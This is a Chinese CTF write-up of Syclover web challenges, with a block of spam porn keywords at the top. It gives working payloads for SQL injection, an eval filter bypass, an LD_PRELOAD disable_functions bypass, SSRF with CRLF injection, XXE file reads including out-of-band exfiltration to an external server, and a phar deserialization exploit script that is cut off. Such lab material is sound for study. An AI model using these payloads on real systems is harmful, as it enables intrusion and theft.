日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Syclover-Web题解

發布時間:2023/12/16 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Syclover-Web题解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

1、打比賽前先擼一只貓!

2、你看見過我的菜刀么

3、BurpSuiiiiiit!!!

4、性感瀟文清,在線算卦

5、Easysql

6、RCE me

7、李三的代碼審計筆記第一頁

8、服務端檢測系統

9、Lovelysql

10、性感黃阿姨,在線聊天

11、李三的代碼審計筆記第二頁

12、Babysql

13、神秘的三葉草

14、Eval evil code

15、Jiang‘s Secret

16、Hardsql

17、你有特洛伊么

18、Leixiao's blog

19、反序列化1.0

20、又來一只貓

21、你有初戀嗎

22、Finalsql

23、你讀懂瀟文清的網站了嗎?



1、打比賽前先擼一只貓!

題目描述:打比賽前先擼一只貓!: 貓貓陪我打ctf!

hint:擼貓:https://www.cnblogs.com/ranyonsue/p/5984001.html

打開題目給的地址,直接F12查看源碼,發現關鍵代碼,上面的flag是假的,在地址后面加上?cat=dog得到真正的flag

2、你看見過我的菜刀么

題目描述:你看見過我的菜刀么

hint:菜刀:https://qq52o.me/2277.html

打開地址發現典型的一句話,直接上菜刀連接,密碼是Syc,找一下就能得到flag

3、BurpSuiiiiiit!!!

題目描述:拿起你的burp,開始戰斗吧 附件: 鏈接:https://share.weiyun.com/5WD42Vt 密碼:zp5sy9 備用鏈接:http://geek.sycsec.com:44444/static/file/Burp.zip

下載附件,打開自己的burpsuit,找到拓展模塊,加載這個文件,查看錯誤信息,就可以得到flag

4、性感瀟文清,在線算卦

題目描述:動作快點才能算到好卦。

打開地址,F12查看源碼,看到關鍵代碼。

主要代碼:最后有提示,條件競爭(可以自行百度)

這段代碼的意思大概就是先創建一個文件夾,然后在這個文件夾下面會新建一個以你輸入的用戶名sha1加密后為名的文件,flag會被寫入到這個文件中,然后這個路徑會被打印出來,但是0.1秒會馬上重新寫入you are too slow!所以直接訪問得不到flag,所以就是要在它重新寫入之前訪問,兩種方法,寫腳本或者用burpsuit爆破,時間久點

<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";if (!is_dir($savepath)) {$oldmask = umask(0);mkdir($savepath);umask($oldmask);}if ((@$_GET['u']) && (@$_GET['p'])) {$content = '***************';file_put_contents("$savepath" . sha1($_GET['u']), $content);$msg = 'Ding!你的算卦結果就在這兒啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";echo $msg;usleep(100000);@$content = "you are too slow";file_put_contents("$savepath" . sha1($_GET['u']), $content);}試試條件競爭吧? -->

腳本代碼,運行起來然后訪問他給你的網址

import requests while 1:requests.get('http://148.70.59.198:42534/?u=1&p=1')

訪問http://148.70.59.198:42534/?u=1&p=1,burpsuit抓包,直接將密碼或者其他沒用的設為變量,可以設為數字從1到10000000(隨便多大,久就行了),然后訪問它給你的網址

5、Easysql

題目描述:最近我做了一個小網站,我把flag放在里面了,不過我沒有把登陸密碼告訴任何人,所以你們是拿不到flag的!

打開地址,直接萬能密碼登錄拿到flag,username:admin'or 1#,password:1

6、RCE me

題目描述:I don't think U can system RCE,prove to me

題目代碼:

<?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code); } else{highlight_file(__FILE__); } highlight_file(__FILE);// ?>

參考文章:https://www.cnblogs.com/BOHB-yunying/p/11706255.html

主要是利用"~"來繞過限制

$a = "phpinfo"; echo urlencode(~$a); %8F%97%8F%96%91%99%90 //phpinfo

然后訪問http://114.116.44.23:40001/?code=(~%8F%97%8F%96%91%99%90)();查看禁用函數

常用的系統函數基本被禁掉了,先用scandir讀取一下目錄

print_r(scandir('./'));

進行編碼

$a = "print_r"; echo urlencode(~$a).'<br>'; $a = "scandir"; echo urlencode(~$a); %8F%8D%96%91%8B%A0%8D //print_r %8C%9C%9E%91%9B%96%8D //scandir 訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./"))); 讀取當前目錄下的文件

?

訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("/"))); 讀取根目錄下的文件

?發現flag和readflag兩個

使用readfile('/flag')和readfile('/readflag')讀取兩個文件內容 %8D%9A%9E%9B%99%96%93%9A # readfile %D0%99%93%9E%98 # /flag %D0%8D%9A%9E%9B%99%93%9E%98 # /readflag

?

訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98)); 讀取根目錄下的flag文件 沒有東西 訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98)); 讀取根目錄下的readflag文件 發現是二進制文件,猜測應該是運行這個可執行文件,然后得到flag

?由于之前的禁用函數沒有包含aasert,所以嘗試使用assert函數寫shell

assert($_POST['a']);

?

%9E%8C%8C%9A%8D%8B # assert %DB%A0%AF%B0%AC%AB # $_POST %9E # a %DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2 #$_POST["a"] (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]); //全拆開編碼 (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2)); //后面一起編碼

原文章是一起編碼訪問不了,我沒有出現這種情況,但是這里兩種方法都沒有讀取到東西

在查看tmp目錄下發現有其他內容

%8F%8D%96%91%8B%A0%8D #print_r %8C%9C%9E%91%9B%96%8D #scan_dir %D0%8B%92%8F #/tmp 訪問網址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0%8B%92%8F)); 查看/tmp下的文件

隨便找一個像shell的php文件,讀取內容,這里看的是hack.php,不能直接看到,需要F12查看源碼

訪問網址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F));

嘗試文件包含,測試一下腳本是否可用

%9E%8C%8C%9A%8D%8B #assert %96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4 #include("/tmp/hack.php")訪問網址:http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4)); post數據:test=phpinfo();

成功訪問,直接上菜刀進行連接

接下來就是上傳bypass腳本和拓展庫,下面兩個是原文鏈接的

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

我在原代碼baypass_disablefunc.php把get方式改成了post,上傳這個文件

<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_POST["cmd"];$out_path = $_POST["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_POST["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>

然后上傳第二個鏈接里面的bypass_disablefunc_x64.so,最后文件包含我們的上傳的bypass文件,得到flag

http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%95%95%95%D1%8F%97%8F%DD%D6%C4)); #assert(include("jjj.php"))post數據:cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.socmd:要執行的文件 outpath:輸出路徑 sopath:上傳的拓展庫

記錄一下淚笑師傅在群里給的兩篇借鑒文章

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/leixiao-/p/10612798.html

這里在推一手官方的題解

https://evoa.me/index.php/archives/62/

7、李三的代碼審計筆記第一頁

題目描述:Talk is easy ,show me the code.

打開文件得到源代碼:

<?phphighlight_file(__FILE__);error_reporting(E_ALL);ini_set("max_execution_time", "60");empty($_GET["url"]) && die();$password = "If I knew where I would die, I would never go there.";$arr = explode(' ', $password);function startsWith($haystack, $needle){$length = strlen($needle);return (substr($haystack, 0, $length) === $needle);}$url = $_GET["url"];if (!startsWith($url,"http://")){die("Not allow !");}for($i=0; $i<count($arr); $i++){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);$output = curl_exec($ch);curl_close($ch);if ($output === $arr[$i]){if($i == sizeof($arr)-1){echo "Congratulations. Flag is SYC{********************************}";}else{continue;}}else{ die("password is wrong");}}?>

直接上腳本,由于這里我是本地調試,所以兩個sleep的時間都是一秒,但是公網服務器可能會有延遲,所以sleep的時間需要自己調,先運行腳本,再訪問網址,訪問的網址是http://ctf1.redteam.today:8081/?url=http://你的公網地址/1.php

import time str=['If','I','knew','where','I','would','die,','I','would','never','go','there.'] for i in range(len(str)+1):f=open('1.php','w')payload=str[i]+'<?php sleep(1);?>'f.write(payload)f.closetime.sleep(1)

下面記錄一下官方的腳本

import flask import datetimeserver=flask.Flask(__name__) data="If I knew where I would die, I would never go there." data=data.split(" ") data.reverse@server.route('/',methods=['post','get']) def index(): return data.pop()server.run(port=8888)

8、服務端檢測系統

題目描述:emm,自己看

hint:ssrf && crlf

打開網址,F12查看源碼,關鍵代碼如下

<!-- /admin.php --> <!--if(isset($_POST['method']) && isset($_POST['url']) ){$method=$_POST['method'];$url=$_POST['url'];if(preg_match('/^http:\/\//i',$url)){$opts = array('http'=>array('method'=>$method,'timeout'=>3));$context = stream_context_create($opts);$body = @file_get_contents($url."/anything", false, $context);if(isset($http_response_header)){preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);if(isset($matches[1])){echo "服務端支持的請求方法有:".$matches[1];}else{echo "failed<br>";echo sprintf("body length of $method%d", $body);}}else{echo "error";}}else{echo 'not allowed';}} -->

分析代碼可得,url和method可控,但url必須http://開頭

訪問admin.php頁面顯示only 127.0.0.1 can visit it,又提示說ssrf,說明肯定是利用index.php的功能來ssrf

輸入的url會被拼接上/anything,然后默認以options請求方法訪問,一次得到Allow返回頭

下面就是參考的官方思路

想訪問/admin.php就得繞過/anything后綴,這里可以用?,然后method也改成GET嘗試

url=http://127.0.0.1/admin.php?&method=GET

顯示failed是因為采用GET請求方式,服務端是不會返回Allow頭的

而且這里的ssrf也沒有直接的回顯,只有類似響應體長度的語句

但是之前的代碼中sprintf("body length of $method%d", $body);這句代碼有錯誤

因為$method這個變量是我們可控的,然后%%是會被轉義成實義的%,那么我們如果將$method的值傳入為%s%,那么最后拼接成的語句就會是sprintf("body length of %s%%d", $body);,那后面的%%d會被轉義成%d,不起作用了,那么$body的值就會通過%s打印出來,最后顯示的內容就是body length of 返回的數據%d

因為method是作為請求方式去發起http請求的,那么其實發出請求包是這樣的

%s%/admin.php?/anything HTTP/1.0 Host: 127.0.0.1

%s%自然是不能作為一個正常的請求頭,但是某些中間件可能也會當做GET請求來響應,比如當前環境中是會正常返回admin.php頁面內容的

發現需要我們POST一個值為yes的iwantflag參數上去才會顯示flag,想要構造POST請求包就有回到了$method這個變量來

發現這里用的是file_get_contents()函數來發起HTTP請求,一些配置選項包括這里的請求方式是作為一個數組通過stream_context_create()處理后傳入的。其實這里就存在crlf注入漏洞,及我們可以完全自己構造一個完整的POST包發出去

具體如下

url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1 Host:x Content-Type: application/x-www-form-urlencoded Content-Length:50iwantflag=yes%26b=%s%

成功獲得flag

9、Lovelysql

題目描述:上次是我粗心大意,看來不能直接放在網頁上了!

打開網址,發現是上次sql注入的進階版

http://118.25.14.40:8101/check.php?username=admin%27order+by+3%23&password=123 #字段數為3 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,3%23&password=123 #得到報錯回顯的數字為1,2 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,database()%23&password=123 #得到數據庫名 geek http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123 #得到表名geekuser,l0ve1ysq1 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=123 得到字段名id,username,password http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(username,0x7e,password)%20from%20l0ve1ysq1%23&password=123 #得到flag

10、性感黃阿姨,在線聊天

題目描述:聽說她有很多小秘密和表情包哦,當然也有你們最想要的flag!

hint:weak php && xxe

打開網址,在下面框內隨便輸入什么之后,她會要你直接問她要flag,但是輸入flag之后,會打印“你只是我guest”

抓包,發現guest,將它改為admin,然后forward

得到一段提示信息

這里利用弱php的特性,推薦文章:https://www.cnblogs.com/liangxiyang/p/10925792.html

PHP中有兩種比較符號,“==”與“===”。“==”我們稱之為等值符,當等號兩邊為相同類型時,直接比較值是否相等;當等號兩邊類型不同時,先轉換為相同的類型,再對轉換后的值進行比較,如果比較一個數字和字符串或者涉及到數字內容的字符串,則字符串會被轉換成數值并且比較按照常數值進行比較。

<?php var_dump("admin"==0); //true var_dump("1admin"==1); //true var_dump("admin1"==1) //false var_dump("admin1"==0) //true var_dump("0e123456"=="0e4456789"); //true ?> 當一個字符串欸當作一個數值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'并且其數值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。

直接發送到intruder模塊,將"guest"設為變量,從0爆破到1000

發現為375的時候跟其他都不一樣,抓包改為375發現信息,得到flag存放的位置

提示說xxe,所以把數據包改為xml格式,Content-Type改為xml

后端成功解析

這里可以直接回顯也可以盲注

直接回顯我做的時候不知道為什么不行,可能哪里有點小錯誤,再加之分數高,以為沒那么簡單,所以是盲注出來的

但是看了官方wp之后,這題是可以直接回顯的

下面就是參考的官方wp 這里357為什么繞不過去了,因為json是可以傳遞數字和字符串的,區別就是兩側有無引號,而xml只能傳遞字符串 那么現在就可以構造XXE來讀取文件了,而回顯點就是name

但是會發現直接讀_f14g_Is_Here.php讀不出來,這是因為php文件中有特殊字符(如<)讓xml解析時出錯了,可以利用php流讀取

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php"> ]> <root><name>&xxe;</name> <request>flag</request> </root>

?

下面分享盲注也就是我的做法(想復雜了。。。)

先在自己的服務器放置一個e.xml,內容如下

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php"> <!ENTITY % int "<!ENTITY trick SYSTEM 'http://你的公網ip/ftp.txt?id=%payload;'>"> %int;

xml數據如下,但是這里不能連著出現http:,所以講冒號url編碼為%3A

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http%3A//你的公網ip/e.xml">%remote;]> <root> <xxx>&trick;<xxx> </root>

?

11、李三的代碼審計筆記第二頁

題目描述:聽說李三用這個裁剪他的頭像,http://ctf1.redteam.today:8233/www.zip

記錄一下官方題解:

代碼如下

//upload.php<?phperror_reporting(0); ini_set("max_execution_time", "60"); session_start();class Picture {function __construct($tmpName){$whitelist = ["image/jpeg" => "jpg","image/svg+xml" => "svg"];$this->tmpName = $tmpName;$this->mimeType = mime_content_type($tmpName);if (!array_key_exists($this->mimeType, $whitelist)) {$this->jsonencode = json_encode(array("error"=>"圖片不符合要求格式"));exit();}$this->getPictureSize($this->tmpName, $this->mimeType);if ($this->width * $this->height > 1500 * 1500) {$this->jsonencode = json_encode(array("error"=>"圖片過大"));exit();}$this->extension = "." . $whitelist[$this->mimeType];$this->fileName = md5(random_bytes(10));$this->sandbox = $filePath = "picture/" . md5(session_id()) . "/";}function getPictureSize($file, $mimeType) {if ($mimeType == "image/jpeg") {$size = getimagesize($file);$this->width = (int) $size[0];$this->height = (int) $size[1];} else {$xml = file_get_contents($file);$domcument = new DOMDocument();$domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);$img = simplexml_import_dom($domcument);$attrs = $img->attributes();$this->width = (int) $attrs->width;$this->height = (int) $attrs->height;}}function samplePicture() {$filePath = $this->sandbox . $this->fileName . $this->extension;$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);$jsonencode = json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));echo $jsonencode;}function __destruct(){if (!empty($this->jsonencode)){echo $this->jsonencode;return ;}if (!file_exists($this->sandbox)){mkdir($this->sandbox);}$fileDst = $this->sandbox . $this->fileName . $this->extension;move_uploaded_file($this->tmpName, $fileDst);$this->samplePicture();}}header('Content-Type:text/json;charset=utf-8'); new Picture($_FILES['picture']['tmp_name']);

題目考點有兩個一個是xxe,一個phar的反序列化。題目的環境是flag在根目錄下,但是做了權限處理需要執行根目錄下的readflag程序才可以讀取,所以這也是當時回復有疑惑的同學說這題不需要知道flag也能做的原因。

關于這兩個考點可以參考這兩篇文章 一篇文章帶你深入理解漏洞之XXE漏洞和利用phar拓展php反序列化漏洞攻擊面

php的反序列化意味著可以控制類的屬性,因此可控的$filePath最后進入exec相當于是一個命令注入漏洞。

$filePath = $this->sandbox . $this->fileName . $this->extension; $samplePath = $this->sandbox . $this->fileName . "_sample.jpg"; exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath); 最后反彈shell,或者把結果重定向到web目錄均可getflag。完整利用的代碼如下 //python2 from sys import * import requests import jsonhost = "ctf1.redteam.today" port = 8233 timeout = 30ip = "http://%s:%d/" % (host, port) session = requests.Session()paramsMultipart = [('picture', ('phar.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x90\x00\x90\x00\x00\xff\xe1\x00tExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00>\x01\x1b\x00\x05\x00\x00\x00\x01\x00\x00\x00F\x01(\x00\x03\x00\x00\x00\x01\x00\x02\x00\x00\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00\x01\x00\x02\xa0\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\xa0\x03\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\xff\xed\x008Photoshop 3.0\x008BIM\x04\x04\x00\x00\x00\x00\x00\x008BIM\x04%\x00\x00\x00\x00\x00\x10\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04\xe9\x80\x09\x98\xec\xf8B~\xff\xe2\x0f\xacICC_PROFILE\x00\x01\x01\x00\x00\x0f\x9cappl\x02\x10\x00\x00mntrRGB XYZ \x07\xe3\x00\x03\x00\x1d\x00\x01\x00:\x00:acspAPPL\x00\x00\x00\x00APPL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-appl\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11desc\x00\x00\x01P\x00\x00\x00bdscm\x00\x00\x01\xb4\x00\x00\x04\x84cprt\x00\x00\x068\x00\x00\x00\x23wtpt\x00\x00\x06\\\x00\x00\x00\x14rXYZ\x00\x00\x06p\x00\x00\x00\x14gXYZ\x00\x00\x06\x84\x00\x00\x00\x14bXYZ\x00\x00\x06\x98\x00\x00\x00\x14rTRC\x00\x00\x06\xac\x00\x00\x08\x0caarg\x00\x00\x0e\xb8\x00\x00\x00 vcgt\x00\x00\x0e\xd8\x00\x00\x000ndin\x00\x00\x0f\x08\x00\x00\x00>chad\x00\x00\x0fH\x00\x00\x00,mmod\x00\x00\x0ft\x00\x00\x00(bTRC\x00\x00\x06\xac\x00\x00\x08\x0cgTRC\x00\x00\x06\xac\x00\x00\x08\x0caabg\x00\x00\x0e\xb8\x00\x00\x00 aagg\x00\x00\x0e\xb8\x00\x00\x00 desc\x00\x00\x00\x00\x00\x00\x00\x08Display\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mluc\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x0chrHR\x00\x00\x00\x14\x00\x00\x01\xd8koKR\x00\x00\x00\x0c\x00\x00\x01\xecnbNO\x00\x00\x00\x12\x00\x00\x01\xf8id\x00\x00\x00\x00\x00\x12\x00\x00\x02\nhuHU\x00\x00\x00\x14\x00\x00\x02\x1ccsCZ\x00\x00\x00\x16\x00\x00\x020daDK\x00\x00\x00\x1c\x00\x00\x02FnlNL\x00\x00\x00\x16\x00\x00\x02bfiFI\x00\x00\x00\x10\x00\x00\x02xitIT\x00\x00\x00\x14\x00\x00\x02\x88esES\x00\x00\x00\x12\x00\x00\x02\x9croRO\x00\x00\x00\x12\x00\x00\x02\x9cfrCA\x00\x00\x00\x16\x00\x00\x02\xaear\x00\x00\x00\x00\x00\x14\x00\x00\x02\xc4ukUA\x00\x00\x00\x1c\x00\x00\x02\xd8heIL\x00\x00\x00\x16\x00\x00\x02\xf4zhTW\x00\x00\x00\x0c\x00\x00\x03\nviVN\x00\x00\x00\x0e\x00\x00\x03\x16skSK\x00\x00\x00\x16\x00\x00\x03\x24zhCN\x00\x00\x00\x0c\x00\x00\x03\nruRU\x00\x00\x00\x24\x00\x00\x03:enGB\x00\x00\x00\x14\x00\x00\x03^frFR\x00\x00\x00\x16\x00\x00\x03rms\x00\x00\x00\x00\x00\x12\x00\x00\x03\x88hiIN\x00\x00\x00\x12\x00\x00\x03\x9athTH\x00\x00\x00\x0c\x00\x00\x03\xaccaES\x00\x00\x00\x18\x00\x00\x03\xb8enAU\x00\x00\x00\x14\x00\x00\x03^esXL\x00\x00\x00\x12\x00\x00\x02\x9cdeDE\x00\x00\x00\x10\x00\x00\x03\xd0enUS\x00\x00\x00\x12\x00\x00\x03\xe0ptBR\x00\x00\x00\x18\x00\x00\x03\xf2plPL\x00\x00\x00\x12\x00\x00\x04\nelGR\x00\x00\x00\"\x00\x00\x04\x1csvSE\x00\x00\x00\x10\x00\x00\x04>trTR\x00\x00\x00\x14\x00\x00\x04NptPT\x00\x00\x00\x16\x00\x00\x04bjaJP\x00\x00\x00\x0c\x00\x00\x04x\x00L\x00C\x00D\x00 \x00u\x00 \x00b\x00o\x00j\x00i\xce\xec\xb7\xec\x00 \x00L\x00C\x00D\x00F\x00a\x00r\x00g\x00e\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00W\x00a\x00r\x00n\x00a\x00S\x00z\x00\xed\x00n\x00e\x00s\x00 \x00L\x00C\x00D\x00B\x00a\x00r\x00e\x00v\x00n\x00\xfd\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00-\x00f\x00a\x00r\x00v\x00e\x00s\x00k\x00\xe6\x00r\x00m\x00K\x00l\x00e\x00u\x00r\x00e\x00n\x00-\x00L\x00C\x00D\x00V\x00\xe4\x00r\x00i\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00i\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00A\x00C\x00L\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r \x0f\x00L\x00C\x00D\x00 \x06E\x06D\x06H\x06F\x06)\x04\x1a\x04>\x04;\x04L\x04>\x04@\x04>\x042\x048\x049\x00 \x00L\x00C\x00D \x0f\x00L\x00C\x00D\x00 \x05\xe6\x05\xd1\x05\xe2\x05\xd5\x05\xe0\x05\xd9_i\x82r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00M\x00\xe0\x00u\x00F\x00a\x00r\x00e\x00b\x00n\x00\xfd\x00 \x00L\x00C\x00D\x04&\x042\x045\x04B\x04=\x04>\x049\x00 \x04\x16\x04\x1a\x00-\x044\x048\x04A\x04?\x04;\x045\x049\x00C\x00o\x00l\x00o\x00u\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r\x00W\x00a\x00r\x00n\x00a\x00 \x00L\x00C\x00D\x090\x09\x02\x09\x17\x09@\x09(\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x0e*\x0e5\x00L\x00C\x00D\x00 \x00e\x00n\x00 \x00c\x00o\x00l\x00o\x00r\x00F\x00a\x00r\x00b\x00-\x00L\x00C\x00D\x00C\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00C\x00o\x00l\x00o\x00r\x00i\x00d\x00o\x00K\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x03\x88\x03\xb3\x03\xc7\x03\xc1\x03\xc9\x03\xbc\x03\xb7\x00 \x03\xbf\x03\xb8\x03\xcc\x03\xbd\x03\xb7\x00 \x00L\x00C\x00D\x00F\x00\xe4\x00r\x00g\x00-\x00L\x00C\x00D\x00R\x00e\x00n\x00k\x00l\x00i\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00a\x00 \x00C\x00o\x00r\x00e\x00s0\xab0\xe90\xfc\x00L\x00C\x00Dtext\x00\x00\x00\x00Copyright Apple Inc., 2019\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf3\x16\x00\x01\x00\x00\x00\x01\x16\xcaXYZ \x00\x00\x00\x00\x00\x00\x83\x87\x00\x00=\xa9\xff\xff\xff\xbbXYZ \x00\x00\x00\x00\x00\x00K\xe5\x00\x00\xb3\xef\x00\x00\n\xddXYZ \x00\x00\x00\x00\x00\x00'j\x00\x00\x0eh\x00\x00\xc8\x95curv\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05\x00\n\x00\x0f\x00\x14\x00\x19\x00\x1e\x00\x23\x00(\x00-\x002\x006\x00;\x00@\x00E\x00J\x00O\x00T\x00Y\x00^\x00c\x00h\x00m\x00r\x00w\x00|\x00\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa3\x00\xa8\x00\xad\x00\xb2\x00\xb7\x00\xbc\x00\xc1\x00\xc6\x00\xcb\x00\xd0\x00\xd5\x00\xdb\x00\xe0\x00\xe5\x00\xeb\x00\xf0\x00\xf6\x00\xfb\x01\x01\x01\x07\x01\r\x01\x13\x01\x19\x01\x1f\x01%\x01+\x012\x018\x01>\x01E\x01L\x01R\x01Y\x01`\x01g\x01n\x01u\x01|\x01\x83\x01\x8b\x01\x92\x01\x9a\x01\xa1\x01\xa9\x01\xb1\x01\xb9\x01\xc1\x01\xc9\x01\xd1\x01\xd9\x01\xe1\x01\xe9\x01\xf2\x01\xfa\x02\x03\x02\x0c\x02\x14\x02\x1d\x02&\x02/\x028\x02A\x02K\x02T\x02]\x02g\x02q\x02z\x02\x84\x02\x8e\x02\x98\x02\xa2\x02\xac\x02\xb6\x02\xc1\x02\xcb\x02\xd5\x02\xe0\x02\xeb\x02\xf5\x03\x00\x03\x0b\x03\x16\x03!\x03-\x038\x03C\x03O\x03Z\x03f\x03r\x03~\x03\x8a\x03\x96\x03\xa2\x03\xae\x03\xba\x03\xc7\x03\xd3\x03\xe0\x03\xec\x03\xf9\x04\x06\x04\x13\x04 